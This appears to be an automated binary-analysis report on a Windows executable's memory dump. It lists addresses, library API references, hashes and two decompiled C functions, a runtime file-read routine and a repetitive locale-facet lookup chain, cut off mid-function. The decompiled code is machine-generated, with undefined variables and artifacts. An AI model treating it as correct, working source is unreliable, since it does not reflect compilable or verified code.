0x00437c83
0x00437c84
0x00437c87
0x00437c89
0x00437c94
0x00437c95
0x00437c96
0x00437c97
0x00437c9e
0x00437ca2
0x00437ca8
0x00437caa
0x00437cb2
0x00437cb9
0x00437cc1
0x00437cc3
0x00437cc5
0x00437cc8
0x00437ccf
0x00437cd1
0x00437cca
0x00437cca
0x00437cca
0x00437cc8
0x00437cd6
0x00437ce1
0x00437bdc
0x00437be0
0x00437be5
0x00437be8
0x00437bee
0x00437bf0
0x00437bf6
0x00437bf8
0x00437bf8
0x00437bfb
0x00437bfe
0x00437c01
0x00437c0a
0x00437c0f
0x00437c12
0x00437c15
0x00437c17
0x00437c1a
0x00437c20
0x00437c21
0x00437c25
0x00437c2c
0x00437c2f
0x00437c32
0x00437c35
0x00437c35
0x00437c1c
0x00437c1c
0x00437c1c
0x00437c38
0x00437c39
0x00437c3a
0x00437c41
0x00437c4b
0x00437c50
0x00437c5c
0x00437c5c
0x00437b4c
0x00437b4c
0x00437b51
0x00437b54
0x00437b57
0x00437b5c
0x00437b66
0x00437b6c
0x00437b76
0x00437b7a
0x00437b81
0x00437b84
0x00437b87
0x00437b89
0x00437b8f
0x00437b8f
0x00000000
0x00437b89
0x00437b37
0x00437b37
0x00000000
0x00437b37
0x00437b35

APIs

__EH_prolog3_GS.LIBCMT ref: 00437AFC
std::_Lockit::_Lockit.LIBCPMT ref: 00437B09

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00437B5C
std::_Lockit::~_Lockit.LIBCPMT ref: 00437B98
Concurrency::cancel_current_task.LIBCPMT ref: 00437BA5
__EH_prolog3_catch.LIBCMT ref: 00437BB2

Part of subcall function 004380AB: __EH_prolog3_GS.LIBCMT ref: 004380B2

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3_catchRegister
String ID:
API String ID: 846158916-0
Opcode ID: 8ce61130911d86fa77837828620decba9e796d094e6f5da35c213156f2f2b0a6
Instruction ID: 0229e73a59ecc7ef70ba1c454b14f1c3c89d4fe378b42a7e725025926d396679
Opcode Fuzzy Hash: 8ce61130911d86fa77837828620decba9e796d094e6f5da35c213156f2f2b0a6
Instruction Fuzzy Hash: E841D7B1E042099FCB14EFA9D4819AFB7F5EF58314F60452FF455A7282DB389E018B98

Uniqueness

Uniqueness Score: -1.00%

Function 004B8B2C, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 300
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E004B8B2C(signed int _a4, signed int _a8, unsigned int _a12) {
				signed int _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				signed int* _t143;
				signed int _t145;
				intOrPtr _t149;
				signed int _t153;
				signed int _t155;
				signed char _t157;
				unsigned int _t158;
				intOrPtr _t162;
				signed int _t163;
				signed int _t164;
				signed int _t167;
				void* _t168;
				intOrPtr _t175;
				signed int _t176;
				intOrPtr _t178;
				signed int _t180;
				signed int _t184;
				char _t191;
				char* _t192;
				char _t199;
				char* _t200;
				signed char _t211;
				signed int _t213;
				signed int _t215;
				signed int _t216;
				char _t218;
				signed char _t222;
				signed int _t223;
				unsigned int _t224;
				intOrPtr _t225;
				unsigned int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed char _t236;
				signed int _t237;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t246;
				void* _t248;
				void* _t249;

				_t213 = _a4;
				if(_t213 != 0xfffffffe) {
					__eflags = _t213;
					if(_t213 < 0) {
						L58:
						_t143 = E004A965B();
						 *_t143 =  *_t143 & 0x00000000;
						__eflags =  *_t143;
						 *((intOrPtr*)(E004A966E())) = 9;
						L59:
						_t145 = E004A5E77();
						goto L60;
					}
					__eflags = _t213 -  *0x4ee918; // 0x40
					if(__eflags >= 0) {
						goto L58;
					}
					_v24 = 1;
					_t239 = _t213 >> 6;
					_t235 = (_t213 & 0x0000003f) * 0x30;
					_v20 = _t239;
					_t149 =  *((intOrPtr*)(0x4ee718 + _t239 * 4));
					_v28 = _t235;
					_t222 =  *((intOrPtr*)(_t235 + _t149 + 0x28));
					_v5 = _t222;
					__eflags = _t222 & 0x00000001;
					if((_t222 & 0x00000001) == 0) {
						goto L58;
					}
					_t223 = _a12;
					__eflags = _t223 - 0x7fffffff;
					if(_t223 <= 0x7fffffff) {
						__eflags = _t223;
						if(_t223 == 0) {
							L57:
							return 0;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L57;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t153 =  *((intOrPtr*)(_t235 + _t149 + 0x29));
						_v5 = _t153;
						_v32 =  *((intOrPtr*)(_t235 + _t149 + 0x18));
						_t246 = 0;
						_t155 = _t153 - 1;
						__eflags = _t155;
						if(_t155 == 0) {
							_t236 = _v24;
							_t157 =  !_t223;
							__eflags = _t236 & _t157;
							if((_t236 & _t157) != 0) {
								_t158 = 4;
								_t224 = _t223 >> 1;
								_v16 = _t158;
								__eflags = _t224 - _t158;
								if(_t224 >= _t158) {
									_t158 = _t224;
									_v16 = _t224;
								}
								_t246 = E004B3009(_t224, _t158);
								E004B2FCF(0);
								E004B2FCF(0);
								_t249 = _t248 + 0xc;
								_v12 = _t246;
								__eflags = _t246;
								if(_t246 != 0) {
									_t162 = E004B907F(_t213, 0, 0, _v24);
									_t225 =  *((intOrPtr*)(0x4ee718 + _t239 * 4));
									_t248 = _t249 + 0x10;
									_t240 = _v28;
									 *((intOrPtr*)(_t240 + _t225 + 0x20)) = _t162;
									_t163 = _t246;
									 *(_t240 + _t225 + 0x24) = _t236;
									_t235 = _t240;
									_t223 = _v16;
									L21:
									_t241 = 0;
									_v40 = _t163;
									_t215 =  *((intOrPtr*)(0x4ee718 + _v20 * 4));
									_v36 = _t215;
									__eflags =  *(_t235 + _t215 + 0x28) & 0x00000048;
									_t216 = _a4;
									if(( *(_t235 + _t215 + 0x28) & 0x00000048) != 0) {
										_t218 =  *((intOrPtr*)(_t235 + _v36 + 0x2a));
										_v6 = _t218;
										__eflags = _t218 - 0xa;
										_t216 = _a4;
										if(_t218 != 0xa) {
											__eflags = _t223;
											if(_t223 != 0) {
												_t241 = _v24;
												 *_t163 = _v6;
												_t216 = _a4;
												_t232 = _t223 - 1;
												__eflags = _v5;
												_v12 = _t163 + 1;
												_v16 = _t232;
												 *((char*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2a)) = 0xa;
												if(_v5 != 0) {
													_t191 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2b));
													_v6 = _t191;
													__eflags = _t191 - 0xa;
													if(_t191 != 0xa) {
														__eflags = _t232;
														if(_t232 != 0) {
															_t192 = _v12;
															_t241 = 2;
															 *_t192 = _v6;
															_t216 = _a4;
															_t233 = _t232 - 1;
															_v12 = _t192 + 1;
															_v16 = _t233;
															 *((char*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2b)) = 0xa;
															__eflags = _v5 - _v24;
															if(_v5 == _v24) {
																_t199 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2c));
																_v6 = _t199;
																__eflags = _t199 - 0xa;
																if(_t199 != 0xa) {
																	__eflags = _t233;
																	if(_t233 != 0) {
																		_t200 = _v12;
																		_t241 = 3;
																		 *_t200 = _v6;
																		_t216 = _a4;
																		_t234 = _t233 - 1;
																		__eflags = _t234;
																		_v12 = _t200 + 1;
																		_v16 = _t234;
																		 *((char*)(_t235 +  *((intOrPtr*)(0x4ee718 + _v20 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t164 = E004C0EC7(_t216);
									__eflags = _t164;
									if(_t164 == 0) {
										L41:
										_v24 = 0;
										L42:
										_t167 =  *0x4f00e8(_v32, _v12, _v16,  &_v36, 0);
										__eflags = _t167;
										if(_t167 == 0) {
											L53:
											_t168 =  *0x4f0018();
											_t241 = 5;
											__eflags = _t168 - _t241;
											if(_t168 != _t241) {
												__eflags = _t168 - 0x6d;
												if(_t168 != 0x6d) {
													L37:
													E004A9638(_t168);
													goto L38;
												}
												_t242 = 0;
												goto L39;
											}
											 *((intOrPtr*)(E004A966E())) = 9;
											 *(E004A965B()) = _t241;
											goto L38;
										}
										_t229 = _a12;
										__eflags = _v36 - _t229;
										if(_v36 > _t229) {
											goto L53;
										}
										_t242 = _t241 + _v36;
										__eflags = _t242;
										L45:
										_t237 = _v28;
										_t175 =  *((intOrPtr*)(0x4ee718 + _v20 * 4));
										__eflags =  *(_t237 + _t175 + 0x28) & 0x00000080;
										if(( *(_t237 + _t175 + 0x28) & 0x00000080) != 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v24;
												_push(_t242 >> 1);
												_push(_v40);
												_push(_t216);
												if(_v24 == 0) {
													_t176 = E004B8688();
												} else {
													_t176 = E004B8998();
												}
											} else {
												_t230 = _t229 >> 1;
												__eflags = _t229 >> 1;
												_t176 = E004B8848(_t229 >> 1, _t229 >> 1, _t216, _v12, _t242, _a8, _t230);
											}
											_t242 = _t176;
										}
										goto L39;
									}
									_t231 = _v28;
									_t178 =  *((intOrPtr*)(0x4ee718 + _v20 * 4));
									__eflags =  *(_t231 + _t178 + 0x28) & 0x00000080;
									if(( *(_t231 + _t178 + 0x28) & 0x00000080) == 0) {
										goto L41;
									}
									_t180 =  *0x4f0268(_v32,  &_v44);
									__eflags = _t180;
									if(_t180 == 0) {
										goto L41;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L42;
									}
									_t115 =  &_v16; // 0xa
									_t184 =  *0x4f0280(_v32, _v12,  *_t115 >> 1,  &_v36, 0);
									__eflags = _t184;
									if(_t184 != 0) {
										_t229 = _a12;
										_t242 = _t241 + _v36 * 2;
										goto L45;
									}
									_t168 =  *0x4f0018();
									goto L37;
								} else {
									 *((intOrPtr*)(E004A966E())) = 0xc;
									 *(E004A965B()) = 8;
									L38:
									_t242 = _t241 | 0xffffffff;
									__eflags = _t242;
									L39:
									E004B2FCF(_t246);
									return _t242;
								}
							}
							L15:
							 *(E004A965B()) =  *_t206 & _t246;
							 *((intOrPtr*)(E004A966E())) = 0x16;
							E004A5E77();
							goto L38;
						}
						__eflags = _t155 != 1;
						if(_t155 != 1) {
							L13:
							_t163 = _a8;
							_v16 = _t223;
							_v12 = _t163;
							goto L21;
						}
						_t211 =  !_t223;
						__eflags = _t211 & 0x00000001;
						if((_t211 & 0x00000001) == 0) {
							goto L15;
						}
						goto L13;
					}
					L6:
					 *(E004A965B()) =  *_t151 & 0x00000000;
					 *((intOrPtr*)(E004A966E())) = 0x16;
					goto L59;
				} else {
					 *(E004A965B()) =  *_t212 & 0x00000000;
					_t145 = E004A966E();
					 *_t145 = 9;
					L60:
					return _t145 | 0xffffffff;
				}
			}

0x004b8b35
0x004b8b3c
0x004b8b56
0x004b8b58
0x004b8ec0
0x004b8ec0
0x004b8ec5
0x004b8ec5
0x004b8ecd
0x004b8ed3
0x004b8ed3
0x00000000
0x004b8ed3
0x004b8b5e
0x004b8b64
0x00000000
0x00000000
0x004b8b6c
0x004b8b78
0x004b8b7b
0x004b8b7e
0x004b8b81
0x004b8b88
0x004b8b8b
0x004b8b8f
0x004b8b92
0x004b8b95
0x00000000
0x00000000
0x004b8b9b
0x004b8b9e
0x004b8ba4
0x004b8bbe
0x004b8bc0
0x004b8ebc
0x00000000
0x004b8ebc
0x004b8bc6
0x004b8bca
0x00000000
0x00000000
0x004b8bd0
0x004b8bd4
0x00000000
0x00000000
0x004b8bdb
0x004b8bdf
0x004b8be2
0x004b8be5
0x004b8bea
0x004b8bea
0x004b8bed
0x004b8c0a
0x004b8c0f
0x004b8c11
0x004b8c13
0x004b8c33
0x004b8c34
0x004b8c36
0x004b8c39
0x004b8c3b
0x004b8c3d
0x004b8c3f
0x004b8c3f
0x004b8c4a
0x004b8c4c
0x004b8c53
0x004b8c58
0x004b8c5b
0x004b8c5e
0x004b8c60
0x004b8c85
0x004b8c8a
0x004b8c91
0x004b8c94
0x004b8c97
0x004b8c9b
0x004b8c9d
0x004b8ca1
0x004b8ca3
0x004b8ca6
0x004b8ca9
0x004b8cab
0x004b8cae
0x004b8cb5
0x004b8cb8
0x004b8cbd
0x004b8cc0
0x004b8cc9
0x004b8ccd
0x004b8cd0
0x004b8cd3
0x004b8cd6
0x004b8cdc
0x004b8cde
0x004b8ce7
0x004b8cea
0x004b8ced
0x004b8cf0
0x004b8cf1
0x004b8cf5
0x004b8cfb
0x004b8d05
0x004b8d0a
0x004b8d1a
0x004b8d1e
0x004b8d21
0x004b8d23
0x004b8d25
0x004b8d27
0x004b8d29
0x004b8d31
0x004b8d32
0x004b8d35
0x004b8d38
0x004b8d39
0x004b8d3f
0x004b8d49
0x004b8d51
0x004b8d54
0x004b8d60
0x004b8d64
0x004b8d67
0x004b8d69
0x004b8d6b
0x004b8d6d
0x004b8d6f
0x004b8d77
0x004b8d78
0x004b8d7b
0x004b8d7e
0x004b8d7e
0x004b8d7f
0x004b8d85
0x004b8d8f
0x004b8d8f
0x004b8d6d
0x004b8d69
0x004b8d54
0x004b8d27
0x004b8d23
0x004b8d0a
0x004b8cde
0x004b8cd6
0x004b8d95
0x004b8d9b
0x004b8d9d
0x004b8e10
0x004b8e10
0x004b8e14
0x004b8e24
0x004b8e2a
0x004b8e2c
0x004b8e88
0x004b8e88
0x004b8e90
0x004b8e91
0x004b8e93
0x004b8eac
0x004b8eaf
0x004b8dec
0x004b8ded
0x00000000
0x004b8df2
0x004b8eb5
0x00000000
0x004b8eb5
0x004b8e9a
0x004b8ea5
0x00000000
0x004b8ea5
0x004b8e2e
0x004b8e31
0x004b8e34
0x00000000
0x00000000
0x004b8e36
0x004b8e36
0x004b8e39
0x004b8e3c
0x004b8e3f
0x004b8e46
0x004b8e4b
0x004b8e4d
0x004b8e51
0x004b8e6c
0x004b8e70
0x004b8e71
0x004b8e74
0x004b8e75
0x004b8e81
0x004b8e77
0x004b8e77
0x004b8e77
0x004b8e53
0x004b8e53
0x004b8e53
0x004b8e5e
0x004b8e63
0x004b8e66
0x004b8e66
0x00000000
0x004b8e4b
0x004b8da2
0x004b8da5
0x004b8dac
0x004b8db1
0x00000000
0x00000000
0x004b8dba
0x004b8dc0
0x004b8dc2
0x00000000
0x00000000
0x004b8dc4
0x004b8dc8
0x00000000
0x00000000
0x004b8dd0
0x004b8ddc
0x004b8de2
0x004b8de4
0x004b8e08
0x004b8e0b
0x00000000
0x004b8e0b
0x004b8de6
0x00000000
0x004b8c62
0x004b8c67
0x004b8c72
0x004b8df3
0x004b8df3
0x004b8df3
0x004b8df6
0x004b8df7
0x00000000
0x004b8dff
0x004b8c60
0x004b8c15
0x004b8c1a
0x004b8c21
0x004b8c27
0x00000000
0x004b8c27
0x004b8bef
0x004b8bf2
0x004b8bfc
0x004b8bfc
0x004b8bff
0x004b8c02
0x00000000
0x004b8c02
0x004b8bf6
0x004b8bf8
0x004b8bfa
0x00000000
0x00000000
0x00000000
0x004b8bfa
0x004b8ba6
0x004b8bab
0x004b8bb3
0x00000000
0x004b8b3e
0x004b8b43
0x004b8b46
0x004b8b4b
0x004b8ed8
0x00000000
0x004b8ed8

Strings

, xrefs: 004B8DD0, 004B8DD5

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: b93778e46181107fc3c6e2ac5e2aef817999bea28431571dfd27f43e17552d41
Instruction ID: d5b9adcafe5bfc15190d9af14687e61e56e9f6713fc921f339dbd42edafeea13
Opcode Fuzzy Hash: b93778e46181107fc3c6e2ac5e2aef817999bea28431571dfd27f43e17552d41
Instruction Fuzzy Hash: 3BC1D674904249AFDB11DFA9C841BEE7BB9AF1A300F14019EE504AB392CB389D41CB79

Uniqueness

Uniqueness Score: -1.00%

Function 0048C268, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C268(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				signed int _t297;
				void* _t555;
				short* _t799;
				void* _t872;
				signed int _t875;
				signed int _t876;
				signed int _t877;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				signed int _t882;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t890;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t894;
				signed int _t895;
				signed int _t896;
				signed int _t897;
				signed int _t899;
				signed int _t900;
				signed int _t901;
				signed int _t902;
				signed int _t903;
				signed int _t904;
				signed int _t905;
				signed int _t906;
				signed int _t907;
				signed int _t908;
				signed int _t909;
				signed int _t910;
				signed int _t911;
				signed int _t912;
				signed int _t913;
				signed int _t914;
				signed int _t915;
				signed int _t916;
				signed int _t917;
				signed int _t918;
				signed int _t919;
				signed int _t920;
				signed int _t921;
				signed int _t922;
				short* _t923;
				void* _t953;

				_t953 = __eflags;
				_push(8);
				E0049D90B(0x4d6966, __edi, __esi);
				E00488DEA( &_v20, 0);
				_t899 =  *0x4ede2c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t899;
				_t297 = E0042B315(_a8, E0042B22E(0x4ed918, __edi, _t899, _t953));
				_t874 = _t297;
				if(_t297 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t874);
				} else {
					if(_t899 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048DDCB(_t874, _t899, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t874, _t899);
							E00488DEA( &_v20, 0);
							_t900 =  *0x4ede0c; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t900;
							_t875 = E0042B315(_a8, E0042B22E(0x4eddb0, _t874, _t900, __eflags));
							__eflags = _t875;
							if(_t875 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t875);
							} else {
								__eflags = _t900;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048DE31(_t872, _t875, _t900, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t875, _t900);
										E00488DEA( &_v20, 0);
										_t901 =  *0x4edddc; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t901;
										_t876 = E0042B315(_a8, E0042B22E(0x4edd88, _t875, _t901, __eflags));
										__eflags = _t876;
										if(_t876 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t876);
										} else {
											__eflags = _t901;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048DED3(_t872, _t876, _t901, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t876, _t901);
													E00488DEA( &_v20, 0);
													_t902 =  *0x4eddfc; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t902;
													_t877 = E0042B315(_a8, E0042B22E(0x4ed910, _t876, _t902, __eflags));
													__eflags = _t877;
													if(_t877 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t877);
													} else {
														__eflags = _t902;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048DF75(_t877, _t902, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t877, _t902);
																E00488DEA( &_v20, 0);
																_t903 =  *0x4ede10; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t903;
																_t878 = E0042B315(_a8, E0042B22E(0x4eddb4, _t877, _t903, __eflags));
																__eflags = _t878;
																if(_t878 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t878);
																} else {
																	__eflags = _t903;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048DFE5(_t878, _t903, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t878, _t903);
																			E00488DEA( &_v20, 0);
																			_t904 =  *0x4edde0; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t904;
																			_t879 = E0042B315(_a8, E0042B22E(0x4edd8c, _t878, _t904, __eflags));
																			__eflags = _t879;
																			if(_t879 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t879);
																			} else {
																				__eflags = _t904;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E04D(_t879, _t904, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t879, _t904);
																						E00488DEA( &_v20, 0);
																						_t905 =  *0x4ede14; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t905;
																						_t880 = E0042B315(_a8, E0042B22E(0x4eddb8, _t879, _t905, __eflags));
																						__eflags = _t880;
																						if(_t880 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t880);
																						} else {
																							__eflags = _t905;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E0B5(_t880, _t905, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t880, _t905);
																									E00488DEA( &_v20, 0);
																									_t906 =  *0x4edde4; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t906;
																									_t881 = E0042B315(_a8, E0042B22E(0x4edd90, _t880, _t906, __eflags));
																									__eflags = _t881;
																									if(_t881 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t881);
																									} else {
																										__eflags = _t906;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E11D(_t881, _t906, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t881, _t906);
																												E00488DEA( &_v20, 0);
																												_t907 =  *0x4ede18; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t907;
																												_t882 = E0042B315(_a8, E0042B22E(0x4eddbc, _t881, _t907, __eflags));
																												__eflags = _t882;
																												if(_t882 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t882);
																												} else {
																													__eflags = _t907;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E185(_t882, _t907, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t882, _t907);
																															E00488DEA( &_v20, 0);
																															_t908 =  *0x4edde8; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t908;
																															_t883 = E0042B315(_a8, E0042B22E(0x4edd94, _t882, _t908, __eflags));
																															__eflags = _t883;
																															if(_t883 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t883);
																															} else {
																																__eflags = _t908;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E1ED(_t883, _t908, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t883, _t908);
																																		E00488DEA( &_v20, 0);
																																		_t909 =  *0x4ede20; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t909;
																																		_t884 = E0042B315(_a8, E0042B22E(0x4eddc4, _t883, _t909, __eflags));
																																		__eflags = _t884;
																																		if(_t884 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t884);
																																		} else {
																																			__eflags = _t909;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E255(_t884, _t909, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t884, _t909);
																																					E00488DEA( &_v20, 0);
																																					_t910 =  *0x4ede1c; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t910;
																																					_t885 = E0042B315(_a8, E0042B22E(0x4eddc0, _t884, _t910, __eflags));
																																					__eflags = _t885;
																																					if(_t885 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t885);
																																					} else {
																																						__eflags = _t910;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E2D9(_t885, _t910, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t885, _t910);
																																								E00488DEA( &_v20, 0);
																																								_t911 =  *0x4eddf0; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t911;
																																								_t886 = E0042B315(_a8, E0042B22E(0x4edd9c, _t885, _t911, __eflags));
																																								__eflags = _t886;
																																								if(_t886 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t886);
																																								} else {
																																									__eflags = _t911;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E35E(_t886, _t911, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t886, _t911);
																																											E00488DEA( &_v20, 0);
																																											_t912 =  *0x4eddec; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t912;
																																											_t887 = E0042B315(_a8, E0042B22E(0x4edd98, _t886, _t912, __eflags));
																																											__eflags = _t887;
																																											if(_t887 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t887);
																																											} else {
																																												__eflags = _t912;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E3E2(_t887, _t912, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t887, _t912);
																																														E00488DEA( &_v20, 0);
																																														_t913 =  *0x4ede00; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t913;
																																														_t888 = E0042B315(_a8, E0042B22E(0x4edda4, _t887, _t913, __eflags));
																																														__eflags = _t888;
																																														if(_t888 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t888);
																																														} else {
																																															__eflags = _t913;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E467(_t888, _t913, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t888, _t913);
																																																	E00488DEA( &_v20, 0);
																																																	_t914 =  *0x4eddd0; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t914;
																																																	_t889 = E0042B315(_a8, E0042B22E(0x4edd7c, _t888, _t914, __eflags));
																																																	__eflags = _t889;
																																																	if(_t889 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t889);
																																																	} else {
																																																		__eflags = _t914;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E4CF(_t889, _t914, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				E0049D90B(0x4d6966, _t889, _t914);
																																																				E00488DEA( &_v20, 0);
																																																				_t915 =  *0x4ede04; // 0x0
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t915;
																																																				_t890 = E0042B315(_a8, E0042B22E(0x4edda8, _t889, _t915, __eflags));
																																																				__eflags = _t890;
																																																				if(_t890 != 0) {
																																																					L117:
																																																					E00488E42( &_v20);
																																																					return E0049D8D4(_t890);
																																																				} else {
																																																					__eflags = _t915;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E537(_t890, _t915, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							E0049D90B(0x4d6966, _t890, _t915);
																																																							E00488DEA( &_v20, 0);
																																																							_t916 =  *0x4eddd4; // 0x0
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t916;
